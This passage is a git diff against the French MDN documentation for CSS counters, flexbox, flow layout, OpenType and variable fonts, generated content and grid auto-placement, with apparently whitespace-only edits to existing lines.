incrémenter un compteur initialisé, on peut utiliser {{cssxref("counter-increment")}}. Attention le nom du compteur ne peut pas être `none`, `inherit` ou `initial`. +Pour utiliser un compteur CSS, il faut d'abord réinitialiser sa valeur (0 par défaut) à l'aide de {{cssxref("counter-reset")}}. Pour incrémenter un compteur initialisé, on peut utiliser {{cssxref("counter-increment")}}. Attention le nom du compteur ne peut pas être `none`, `inherit` ou `initial`. ### Afficher un compteur diff --git a/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.md b/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.md index 62be3b5fb5..7ec7f854e0 100644 --- a/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.md +++ b/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.md @@ -139,7 +139,7 @@ La propriété {{cssxref("flex-flow")}} est [une propriété raccourcie](/fr/doc ### `order` -La propriété {{cssxref("order")}} contrôle l'ordre dans lequel les éléments apparaissent dans le conteneur flexible en les affectant à des groupes ordinaux. +La propriété {{cssxref("order")}} contrôle l'ordre dans lequel les éléments apparaissent dans le conteneur flexible en les affectant à des groupes ordinaux. - Valeur : un entier ({{cssxref("<integer>")}} (0 est la valeur par défaut) - [Spécification](https://drafts.csswg.org/css-flexbox/#order-property) diff --git a/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.md b/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.md index 9ae3730f10..c35dc8ba21 100644 --- a/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.md +++ b/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.md @@ -44,7 +44,7 @@ Avant de rentrer dans le détail des propriétés, définissons certains concept Afin de connaître l'espace disponible pour l'organisation des éléments flexibles, le navigateur doit connaître la taille de l'élément. Comment faire lorsque les éléments ne sont pas dimensionnés avec une largeur ou une hauteur exprimée dans une unité de longueur absolue ? -CSS permet d'utiliser les valeurs {{cssxref('width','min-content','#min-content')}} et {{cssxref('width','max-content','#max-content')}} — ces mots-clés sont définis [dans la spécification CSS pour le dimensionnement intrinsèque et extrinsèque](https://drafts.csswg.org/css-sizing-3/#width-height-keywords) et ces valeurs peuvent être utilisées comme [unité de longueurs](/fr/docs/Web/CSS/length). +CSS permet d'utiliser les valeurs {{cssxref('width','min-content','#min-content')}} et {{cssxref('width','max-content','#max-content')}} — ces mots-clés sont définis [dans la spécification CSS pour le dimensionnement intrinsèque et extrinsèque](https://drafts.csswg.org/css-sizing-3/#width-height-keywords) et ces valeurs peuvent être utilisées comme [unité de longueurs](/fr/docs/Web/CSS/length). Dans l'exemple qui suit, on a deux paragraphes qui contiennent chacun une chaîne de caractères. La largeur du premier paragraphe est `min-content`. Si le navigateur utilisé prend en charge ce mot-clé, on peut voir que le texte passe à la ligne dès que c'est possible, sans dépasser de la boîte. Autrement dit, la longueur `min-content` correspond à la taille du plus grand mot du paragraphe. @@ -74,7 +74,7 @@ Les exemples étudiés par la suite utilisent la propriété {{cssxref("flex-dir ## La propriété `flex-basis` -La propriété {{cssxref("flex-basis")}} définit la taille initiale de l'élément flexible avant la répartition de l'espace. La valeur initiale de cette propriété est `auto`. Si `flex-basis` vaut `auto`, le navigateur vérifie si la taille de l'élément est définie de façon absolue et utilise cette valeur pour `flex-basis` (par exemple si on indique dans la feuille de style que l'élément mesure 200 pixels, c'est cette mesure qui sera utilisée comme valeur pour `flex-basis` pour cet élément). +La propriété {{cssxref("flex-basis")}} définit la taille initiale de l'élément flexible avant la répartition de l'espace. La valeur initiale de cette propriété est `auto`. Si `flex-basis` vaut `auto`, le navigateur vérifie si la taille de l'élément est définie de façon absolue et utilise cette valeur pour `flex-basis` (par exemple si on indique dans la feuille de style que l'élément mesure 200 pixels, c'est cette mesure qui sera utilisée comme valeur pour `flex-basis` pour cet élément). Si la taille initiale de l'élément n'est pas définie de façon absolue, `auto` correspondra à la taille déterminée automatique. C'est là qu'on comprend mieux l'utilité de `min-` et `max-content`, car la boîte flexible utilisera `max-content` comme valeur pour `flex-basis`. Dans l'exemple suivant, nous verrons comment en tirer parti. @@ -152,7 +152,7 @@ Le premier, expliqué de façon subtile dans la spécification est la différenc > “Note : Le coefficient `flex-shrink` est multiplié par la taille de base (`flex-basis`) lors de la distribution de l'espace négatif. Ainsi, l'espace négatif est distribué proportionnellement au rétrécissement possible de l'élément. Autrement dit, un petit élément ne sera pas réduit à une taille nulle avant qu'un plus grand élément n'ait été réduit de façon notable.” -Le second argument s'explique par l'impossibilité de réduire les petits éléments à une taille nulle lors de la suppression de l'espace libre négatif. Les éléments seront au maximum rétrécis jusqu'à obtenir leur taille `min-content` — c'est-à-dire la taille qu'ils obtiennent s'ils utilisent tous les emplacements de rupture de ligne possibles. +Le second argument s'explique par l'impossibilité de réduire les petits éléments à une taille nulle lors de la suppression de l'espace libre négatif. Les éléments seront au maximum rétrécis jusqu'à obtenir leur taille `min-content` — c'est-à-dire la taille qu'ils obtiennent s'ils utilisent tous les emplacements de rupture de ligne possibles. On peut observer ce seuil avec `min-content` dans l'exemple qui suit où `flex-basis` est résolu avec la taille du contenu. Si on change la largeur du conteneur flexible (en l'augmentant à 700 pixels par exemple) puis en réduisant la largeur de l'élément flexible, on peut voir que les deux premiers objets passent à la ligne. Toutefois, ils ne deviennent pas plus petits que `min-content`. Lorsque la boîte se réduit, l'espace est simplement retiré du troisième élément. @@ -174,10 +174,10 @@ Comprendre le dimensionnement des objets flexibles revient avant tout à compren ### Quelle est la taille de base de l'objet ? -1. Si `flex-basis` vaut `auto` et que l'objet possède une dimension explicitement définie, c'est cette dimension qui sera utilisée. -2. Si `flex-basis` vaut `auto` ou `content` (pour les navigateurs qui prennent en charge cette valeur), c'est la taille du contenu qui déterminera la taille de base de l'élément +1. Si `flex-basis` vaut `auto` et que l'objet possède une dimension explicitement définie, c'est cette dimension qui sera utilisée. +2. Si `flex-basis` vaut `auto` ou `content` (pour les navigateurs qui prennent en charge cette valeur), c'est la taille du contenu qui déterminera la taille de base de l'élément 3. Si `flex-basis` est exprimée avec une valeur de longueur non nulle, c'est cette valeur qui sera la taille de base de l'élément. -4. Si `flex-basis` vaut `0`, la taille de l'élément n'est pas pris en compte lors de la répartition de l'espace. +4. Si `flex-basis` vaut `0`, la taille de l'élément n'est pas pris en compte lors de la répartition de l'espace. ### De l'espace est-il disponible ? diff --git a/files/fr/web/css/css_flexible_box_layout/index.md b/files/fr/web/css/css_flexible_box_layout/index.md index 96526e656d..f10fc12be3 100644 --- a/files/fr/web/css/css_flexible_box_layout/index.md +++ b/files/fr/web/css/css_flexible_box_layout/index.md @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout ## Exemple -Dans l'exemple qui suit, on utilise `display: flex` pour un conteneur. Cela signifie que les trois éléments fils deviennent des éléments flexibles. La propriété `justify-content` a été paramétrée avec la valeur `space-between` afin d'espacer les éléments de façon égale le long de l'axe principal. Ainsi, on a le même espace à droite et à gauche de chaque élément et, aux extrêmités du conteneur, les bords des éléments fils qui sont alignés avec les bords du conteneur. On peut également voir que les éléments sont étirés le long de l'axe orthogonal (_cross axis_) car la valeur par défaut de la propriété `align-items` est `stretch`. Ainsi, les éléments flexibles s'étirent pour occuper toute la hauteur du conteneur flexible, ils sont donc aussi grands que le plus grand des éléments. +Dans l'exemple qui suit, on utilise `display: flex` pour un conteneur. Cela signifie que les trois éléments fils deviennent des éléments flexibles. La propriété `justify-content` a été paramétrée avec la valeur `space-between` afin d'espacer les éléments de façon égale le long de l'axe principal. Ainsi, on a le même espace à droite et à gauche de chaque élément et, aux extrêmités du conteneur, les bords des éléments fils qui sont alignés avec les bords du conteneur. On peut également voir que les éléments sont étirés le long de l'axe orthogonal (_cross axis_) car la valeur par défaut de la propriété `align-items` est `stretch`. Ainsi, les éléments flexibles s'étirent pour occuper toute la hauteur du conteneur flexible, ils sont donc aussi grands que le plus grand des éléments. {{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}} diff --git a/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.md b/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.md index 195322f484..8c22214d0f 100644 --- a/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.md +++ b/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.md @@ -73,7 +73,7 @@ Cette contrainte sera levée lorsque les propriétés de gouttières seront impl La spécification sur les boîtes flexibles détaille la façon dont un élément flexible est replié lorsqu'on lui applique `visibility: collapse` (voir la documentation de {{cssxref("visibility")}}). La spécification décrit le comportement standard comme suit : -> “Indiquer `visibility:collapse` sur un élément flexible le transforme en un élément flexible replié et produit un effet similaire à l'application de `visibility:collapse` sur une ligne ou colonne de tableau. L'élément flexible replié est intégralement retiré du rendu mais laisse une toise qui permet de conserver la taille de la ligne flexible selon l'axe secondaire. Ainsi, si un conteneur flexible ne possède qu'une ligne flexible, replier ou déplier des éléments flexibles pourra modifier la dimension principale du conteneur mais n'aura aucun effet sur l'axe secondaire et empêchera ainsi le reste de la page d'osciller. Le passage à la ligne est réappliqué après le repliage des éléments et il se peut donc que la dimension secondaire d'un conteneur flexible sur plusieurs lignes puisse évoluer.” - [Éléments repliés](https://www.w3.org/TR/css-flexbox-1/#visibility-collapse) +> “Indiquer `visibility:collapse` sur un élément flexible le transforme en un élément flexible replié et produit un effet similaire à l'application de `visibility:collapse` sur une ligne ou colonne de tableau. L'élément flexible replié est intégralement retiré du rendu mais laisse une toise qui permet de conserver la taille de la ligne flexible selon l'axe secondaire. Ainsi, si un conteneur flexible ne possède qu'une ligne flexible, replier ou déplier des éléments flexibles pourra modifier la dimension principale du conteneur mais n'aura aucun effet sur l'axe secondaire et empêchera ainsi le reste de la page d'osciller. Le passage à la ligne est réappliqué après le repliage des éléments et il se peut donc que la dimension secondaire d'un conteneur flexible sur plusieurs lignes puisse évoluer.” - [Éléments repliés](https://www.w3.org/TR/css-flexbox-1/#visibility-collapse) Ce comportement s'avère utile lorsqu'on souhaite cibler certains éléments flexibles avec JavaScript afin d'afficher/masquer leur contenu. Un des exemples de la spécification illustre un tel scénario. diff --git a/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.md b/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.md index 87383e908a..9557dd4ecb 100644 --- a/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.md +++ b/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.md @@ -37,7 +37,7 @@ Les deux valeurs suivantes inversent l'ordre des éléments en échangeant les l  -Rappelons ici que les lignes de début et de fin sont liées aux modes d'écritures. Les exemples en lignes ci-avant illustrent comment `row` et `row-reverse` fonctionnent dans une langue qui s'écrit de gauche à droite (le français par exemple). Si on travaille avec une langue écrite de droite à gauche (l'arabe par exemple), `row` correspondrait au côté droit et `row-reverse` au côté gauche. +Rappelons ici que les lignes de début et de fin sont liées aux modes d'écritures. Les exemples en lignes ci-avant illustrent comment `row` et `row-reverse` fonctionnent dans une langue qui s'écrit de gauche à droite (le français par exemple). Si on travaille avec une langue écrite de droite à gauche (l'arabe par exemple), `row` correspondrait au côté droit et `row-reverse` au côté gauche.  @@ -69,17 +69,17 @@ Dans l'exemple qui suit, on dispose de 5 objets flexibles et on affecte les vale - Premier élément selon la source : `order: 2` - Deuxième élément selon la source : `order: 3` -- Troisième élément selon la source : `order: 1` -- Quatrième élément selon la source :`order: 3` -- Cinquième élément selon la source :`order: 1` +- Troisième élément selon la source : `order: 1` +- Quatrième élément selon la source :`order: 3` +- Cinquième élément selon la source :`order: 1` Les éléments seront affichés sur la page dans l'ordre suivant : -- Troisième élément selon la source : `order: 1` -- Cinquième élément selon la source : `order: 1` -- Premier élément selon la source : `order: 2` -- Deuxième élément selon la source : `order: 3` -- Quatrième élément selon la source : `order: 3` +- Troisième élément selon la source : `order: 1` +- Cinquième élément selon la source : `order: 1` +- Premier élément selon la source : `order: 2` +- Deuxième élément selon la source : `order: 3` +- Quatrième élément selon la source : `order: 3`  diff --git a/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.md b/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.md index ea7df31530..5c802dd3a4 100644 --- a/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.md +++ b/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.md @@ -35,7 +35,7 @@ Dans l'exemple qui suit, on affiche les éléments en utilisant leur taille natu ### L'espace distribué au sein des éléments -On pourrait aussi répartir cet espace disponible afin d'agrandir les éléments plutôt que de les espacer. Dans ce cas, on utilisera les propriétés {{cssxref("flex")}} afin de permettre aux éléments de grandir/rétrécir proportionnellement les uns aux autres, comme nous avons pu le détailler dans [Contrôler les proportions des éléments flexibles le long de l'axe principal](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax). +On pourrait aussi répartir cet espace disponible afin d'agrandir les éléments plutôt que de les espacer. Dans ce cas, on utilisera les propriétés {{cssxref("flex")}} afin de permettre aux éléments de grandir/rétrécir proportionnellement les uns aux autres, comme nous avons pu le détailler dans [Contrôler les proportions des éléments flexibles le long de l'axe principal](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax). Si on souhaite que tous les éléments de la barre aient la même largeur, on utilisera `flex: auto` qui correspond à la notation raccourcie de `flex: 1 1 auto` — tous les objets grandissent et rétrécissent de la même façon à partir d'une taille de base automatique. Cela signifie que le plus grand élément occupera plus d'espace. @@ -106,7 +106,7 @@ On peut également permettre aux deux côtés de grandir/rétrécir proportionne } ``` -On pourrait aussi utiliser différents coefficients {{cssxref("flex-grow")}} pour chaque côté. Utiliser `flex: 1` pour le côté avec l'image et `flex: 3` pour le côté avec la description signifierait qu'ils partiraient tous les deux avec une base `flex-basis` `0` et que l'espace serait distribué dans des proportions différentes correspondantes aux valeurs de `flex-grow`. Les propriétés flexibles que nous utilisons ici sont décrites en détail dans le guide [Contrôler les proportions des éléments flexibles le long de l'axe principal](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax). +On pourrait aussi utiliser différents coefficients {{cssxref("flex-grow")}} pour chaque côté. Utiliser `flex: 1` pour le côté avec l'image et `flex: 3` pour le côté avec la description signifierait qu'ils partiraient tous les deux avec une base `flex-basis` `0` et que l'espace serait distribué dans des proportions différentes correspondantes aux valeurs de `flex-grow`. Les propriétés flexibles que nous utilisons ici sont décrites en détail dans le guide [Contrôler les proportions des éléments flexibles le long de l'axe principal](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax). ```css .media .content { @@ -127,7 +127,7 @@ Si on souhaite échanger la position de l'image dans l'objet média pour l'affic ## Les contrôles de formulaire -Les boîtes flexibles s'avèrent particulièrement utiles losqu'on met en forme des contrôles de formulaires. Les formulaires sont généralement constitués de nombreux éléments qu'on souhaite aligner les uns avec les autres. Un motif fréquent se compose d'un élément {{htmlelement("input")}} associé à un élément {{htmlelement("button")}} (par exemple un formulaire de recherche ou un champ où on souhaite qu'un visiteur saisisse une adresse électronique). +Les boîtes flexibles s'avèrent particulièrement utiles losqu'on met en forme des contrôles de formulaires. Les formulaires sont généralement constitués de nombreux éléments qu'on souhaite aligner les uns avec les autres. Un motif fréquent se compose d'un élément {{htmlelement("input")}} associé à un élément {{htmlelement("button")}} (par exemple un formulaire de recherche ou un champ où on souhaite qu'un visiteur saisisse une adresse électronique). Les boîtes flexibles facilitent la construction de tels motifs. Dans l'exemple suivant, on enveloppe l'élément `<button>` et l'élément `<input>` dans un conteneur auquel on ajoute une bordure et pour lequel on a `display: flex`. On utilise ensuite les propriétés flexibles afin de permettre à l'élément `<input>` de grandir et de conserver la même taille pour le bouton. On a donc une paire d'éléments pour laquelle la zone de saisie s'ajuste en fonction de l'espace disponible. diff --git a/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.md b/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.md index 96a22400e7..327f825130 100644 --- a/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.md +++ b/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.md @@ -31,7 +31,7 @@ Au delà de l'élément racine du document (ici l'élément `html`), un nouveau - Les légendes de tableau ou les éléments avec `display: table-caption` - Les éléments de blocs pour lesquels `overflow` a une valeur différente de `visible` - `display: flow-root` -- Les éléments avec {{cssxref("contain", "contain: layout", "#layout")}}, `content` ou `strict` +- Les éléments avec {{cssxref("contain", "contain: layout", "#layout")}}, `content` ou `strict` - [Les élément flexibles](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox) - [Les éléments de grille](/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base) - [Les conteneurs multi-colonnes](fr/docs/Web/CSS/CSS_Columns/Concepts_base_multi-colonnes) @@ -79,7 +79,7 @@ Dans ce guide, nous avons approfondi les notions relatives aux contextes de form ## Voir aussi -- [Contexte de formatage de bloc (ou *Block Formatting Context* (BFC) en anglais)](/fr/docs/Web/CSS/Block_formatting_context) +- [Contexte de formatage de bloc (ou *Block Formatting Context* (BFC) en anglais)](/fr/docs/Web/CSS/Block_formatting_context) - [Modèle de formatage visuel](/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle) - [Modèle de boîte CSS](/fr/docs/Web/CSS/Modèle_de_boîte_CSS) diff --git a/files/fr/web/css/css_fonts/opentype_fonts_guide/index.md b/files/fr/web/css/css_fonts/opentype_fonts_guide/index.md index 70da8b93a5..c609aebc7f 100644 --- a/files/fr/web/css/css_fonts/opentype_fonts_guide/index.md +++ b/files/fr/web/css/css_fonts/opentype_fonts_guide/index.md @@ -11,7 +11,7 @@ original_slug: Web/CSS/CSS_Fonts/Guide_caractéristiques_police_OpenType --- {{CSSRef}} -Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage (_kerning_ en anglais) qui définit l'espacement entre certaines lettres, les fractions et styles numériques, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec CSS. +Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage (_kerning_ en anglais) qui définit l'espacement entre certaines lettres, les fractions et styles numériques, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec CSS. Pour certaines polices, une ou plusieurs caractéristiques sont activées par défaut (le crénage et les ligatures classiques sont souvent activées par exemple). D'autres caractéristiques sont inactives et peuvent être activées par choix dans certaines situations. @@ -55,7 +55,7 @@ Le crénage correspond à l'espace entre les caractères pour certaines combinai Les polices peuvent fournir différentes formes pour différents glyphes. Cette propriété permet d'activer un ensemble de formes alternatives ou une forme alternative spécifique selon la valeur utilisée. Dans l'exemple qui suit, on voit différentes formes d'utilisation des caractères alternatifs. Les polices qui possèdent des glyphes alternatifs peuvent les rendre disponibles sur la grille de caractères ou dans des ensembles stylistiques séparés voire pour des caractères individuels. Dans cet exemple, on utilise deux polices et la règle-@ {{cssxref("@font-feature-values")}}. Cette méthode permet de définir des raccourcis ou des options nommées qui peuvent ensuite être utilisée sur un ensemble de polices. Ainsi, on peut avoir une option appliquée à une police ou appliquée plus généralement. -{{EmbedGHLiveSample("css-examples/font-features/font-variant-alternates.html", '100%', 800)}} Dans ce cas, `@stylistic(alternates)` affichera tous les caractères alternatifs pour chacune des polices. En appliquant uniquement ces règles au mot 'My', seul l'affichage de la lettre 'M' est modifié. Si on applique `@styleset(alt-a)`, seule l'apparence de la lettre a minuscule changera. +{{EmbedGHLiveSample("css-examples/font-features/font-variant-alternates.html", '100%', 800)}} Dans ce cas, `@stylistic(alternates)` affichera tous les caractères alternatifs pour chacune des polices. En appliquant uniquement ces règles au mot 'My', seul l'affichage de la lettre 'M' est modifié. Si on applique `@styleset(alt-a)`, seule l'apparence de la lettre a minuscule changera. Vous pouvez modifier : @@ -130,7 +130,7 @@ Cette caractéristique permet d'accéder à différentes formes alternatives de ### Propriété raccourcie ({{Cssxref("font-variant")}}) -La propriété raccourcie `font-variant` permet de définir l'ensemble des caractéristiques précédentes. Lorsqu'on utilise la valeur `normal`, toutes les caractéristiques sont réinitialisées et retrouvent leurs valeurs par défaut. En utilisant `none`, `font-variant-ligatures` vaudra `none` et toutes les autres propriétés récupèreront leurs valeurs initiales (cela signifie entre autres que si le crénage est activé par défaut, il sera toujours activé, même lorsque `none` est fourni). +La propriété raccourcie `font-variant` permet de définir l'ensemble des caractéristiques précédentes. Lorsqu'on utilise la valeur `normal`, toutes les caractéristiques sont réinitialisées et retrouvent leurs valeurs par défaut. En utilisant `none`, `font-variant-ligatures` vaudra `none` et toutes les autres propriétés récupèreront leurs valeurs initiales (cela signifie entre autres que si le crénage est activé par défaut, il sera toujours activé, même lorsque `none` est fourni). {{EmbedGHLiveSample("css-examples/font-features/font-variant.html", '100%', 600)}} diff --git a/files/fr/web/css/css_fonts/variable_fonts_guide/index.md b/files/fr/web/css/css_fonts/variable_fonts_guide/index.md index c8f7e28163..bddae8fabf 100644 --- a/files/fr/web/css/css_fonts/variable_fonts_guide/index.md +++ b/files/fr/web/css/css_fonts/variable_fonts_guide/index.md @@ -66,9 +66,9 @@ Cette propriété fut le premier mécanisme implémenté pour tester les premiè ### La graisse (_weight_) -La graisse (représenté par l'étiquette `wght`) définit l'épaisseur des traits formants les caractères. En CSS, le descripteur {{cssxref("font-weight")}} a depuis longtemps permis d'utiliser différentes graisses avec des valeurs numériques comprises entre 100 et 900 (avec des incréments de 100) ou des mots-clés tels que `normal` ou `bold` qui étaient des alias pour une valeur numérique correspondante (400 et 700 ici). Ces valeurs sont toujours utilisables pour les polices statiques mais il est désormais possible d'utiliser n'importe quel entier entre 1 et 1000 dans le cas de polices variables. +La graisse (représenté par l'étiquette `wght`) définit l'épaisseur des traits formants les caractères. En CSS, le descripteur {{cssxref("font-weight")}} a depuis longtemps permis d'utiliser différentes graisses avec des valeurs numériques comprises entre 100 et 900 (avec des incréments de 100) ou des mots-clés tels que `normal` ou `bold` qui étaient des alias pour une valeur numérique correspondante (400 et 700 ici). Ces valeurs sont toujours utilisables pour les polices statiques mais il est désormais possible d'utiliser n'importe quel entier entre 1 et 1000 dans le cas de polices variables. -On notera qu'il n'est pas possible d'utiliser la déclaration `@font-face` afin qu'un point donné sur cet axe corresponde au mot-clé `bold` (ou tout autre mot-clé). Cela pourra généralement être résolu simplement mais nécessitera d'écrire plus de CSS : +On notera qu'il n'est pas possible d'utiliser la déclaration `@font-face` afin qu'un point donné sur cet axe corresponde au mot-clé `bold` (ou tout autre mot-clé). Cela pourra généralement être résolu simplement mais nécessitera d'écrire plus de CSS : ```css font-weight: 375; @@ -138,7 +138,7 @@ Ainsi, pour les petits corps, on pourra avoir des traits plus épais et pour des La plupart du temps, les valeurs liées à la taille optique sont appliquées automatiquement avec les valeurs correspondantes de `font-size` mais on peut tout à fait les manipuler avec la syntaxe de bas niveau `font-variation-settings`. -Une nouvelle propriété CSS a été créée afin de prendre en charge cet axe avec une syntaxe haut niveau pour les polices variables : {{cssxref("font-optical-sizing")}}. Le descripteur `font-optical-sizing` permet uniquement d'utiliser les valeurs `auto` ou `none` et ainsi uniquement d'activer ou de désactiver le dimensionnement optique. Toutefois, avec `font-variation-settings: 'opsz' <num>`, on peut fournir une valeur numérique. Dans la plupart des cas, on utilisera la même valeur pour `font-size` et pour `opsz`. Il est ici permis d'utiliser une autre valeur spécifique afin d'améliorer la lisibilité ou d'obtenir un effet esthétique. +Une nouvelle propriété CSS a été créée afin de prendre en charge cet axe avec une syntaxe haut niveau pour les polices variables : {{cssxref("font-optical-sizing")}}. Le descripteur `font-optical-sizing` permet uniquement d'utiliser les valeurs `auto` ou `none` et ainsi uniquement d'activer ou de désactiver le dimensionnement optique. Toutefois, avec `font-variation-settings: 'opsz' <num>`, on peut fournir une valeur numérique. Dans la plupart des cas, on utilisera la même valeur pour `font-size` et pour `opsz`. Il est ici permis d'utiliser une autre valeur spécifique afin d'améliorer la lisibilité ou d'obtenir un effet esthétique. ```css font-optical-sizing: auto; @@ -180,7 +180,7 @@ La syntaxe de base est la même mais on peut indiquer la technologie utilisée p src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations'); font-weight: 125 950; font-stretch: 75% 125%; - font-style: normal; + font-style: normal; } ``` @@ -192,7 +192,7 @@ La syntaxe de base est la même mais on peut indiquer la technologie utilisée p src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations'); font-weight: 125 950; font-stretch: 75% 125%; - font-style: oblique 0deg 20deg; + font-style: oblique 0deg 20deg; } ``` @@ -206,7 +206,7 @@ La syntaxe de base est la même mais on peut indiquer la technologie utilisée p src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations'); font-weight: 125 950; font-stretch: 75% 125%; - font-style: italic; + font-style: italic; } ``` @@ -218,7 +218,7 @@ La syntaxe de base est la même mais on peut indiquer la technologie utilisée p src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations'); font-weight: 125 950; font-stretch: 75% 125%; - font-style: oblique 0deg 12deg; + font-style: oblique 0deg 12deg; } ``` diff --git a/files/fr/web/css/css_generated_content/index.md b/files/fr/web/css/css_generated_content/index.md index be8fda6c8a..59f85b6e9e 100644 --- a/files/fr/web/css/css_generated_content/index.md +++ b/files/fr/web/css/css_generated_content/index.md @@ -23,5 +23,5 @@ translation_of: Web/CSS/CSS_Generated_Content | Spécification | État | Commentaires | | ------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName("CSS3 Content")}} | {{Spec2("CSS3 Content")}} | | +| {{SpecName("CSS3 Content")}} | {{Spec2("CSS3 Content")}} | | | {{SpecName('CSS2.1')}} | {{Spec2('CSS2.1')}} | Définition initiale. | diff --git a/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.md b/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.md index 119d3ec21a..860c6c8a43 100644 --- a/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.md +++ b/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.md @@ -133,13 +133,13 @@ On peut utiliser la fonction {{cssxref("minmax","minmax()")}} pour la valeur de <div>Deux</div> <div>Trois</div> <div>Quatre - <br>Cette cellule - <br>a du contenu - <br>supplémentaire - <br>et max vaut auto - <br>afin que la ligne + <br>Cette cellule + <br>a du contenu + <br>supplémentaire + <br>et max vaut auto + <br>afin que la ligne <br>se développe. - </div> + </div> <div>Five</div> </div> ``` @@ -256,7 +256,7 @@ Une grille peut contenir un mélange d'éléments. Certains éléments peuvent a ### Modification de l'ordre du document -Le placement des éléments qui n'ont pas eu d'ordre défini sont placés selon l'algorithme décrit dans la section _“order modified document order”_. Cela signifie que si on utilise uniquement la propriété `order`, les éléments seront placés selon cet ordre plutôt que selon l'ordre indiqué par le DOM. Sinon, l'ordre des éléments sera celui décrit par le document source. +Le placement des éléments qui n'ont pas eu d'ordre défini sont placés selon l'algorithme décrit dans la section _“order modified document order”_. Cela signifie que si on utilise uniquement la propriété `order`, les éléments seront placés selon cet ordre plutôt que selon l'ordre indiqué par le DOM. Sinon, l'ordre des éléments sera celui décrit par le document source. ### Les éléments avec des propriétés de placement @@ -508,7 +508,7 @@ Le placement automatique peut être utile lorsqu'on a un ensemble d'objets qui s {{EmbedLiveSample('Les_cas_dutilisation_pour_le_placement_automatique', '500', '1300')}} -Le placement automatique peut également aider à disposer des éléments d'interface utilisateur qui ont un ordre logique. Dans l'exemple suivant, on voit comment manipuler les listes de définition. Les listes de définition sont intéressantes car il n'y a pas de niveau de regroupement pour regrouper un terme et ses définitions. Dans cet exemple, on autorise le placement automatique mais on a une classe pour qu'un élément `dt` démarre sur la première ligne et que l'élément `dd` sur la ligne 2. On s'assure ainsi que les termes sont bien en face de chaque définition, peu importe le nombre de définitions qu'on a pour un terme. +Le placement automatique peut également aider à disposer des éléments d'interface utilisateur qui ont un ordre logique. Dans l'exemple suivant, on voit comment manipuler les listes de définition. Les listes de définition sont intéressantes car il n'y a pas de niveau de regroupement pour regrouper un terme et ses définitions. Dans cet exemple, on autorise le placement automatique mais on a une classe pour qu'un élément `dt` démarre sur la première ligne et que l'élément `dd` sur la ligne 2. On s'assure ainsi que les termes sont bien en face de chaque définition, peu importe le nombre de définitions qu'on a pour un terme. ### Autre exemple diff --git a/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.md b/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.md index 2ae251e3d2..d38377a622 100644 --- a/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.md +++ 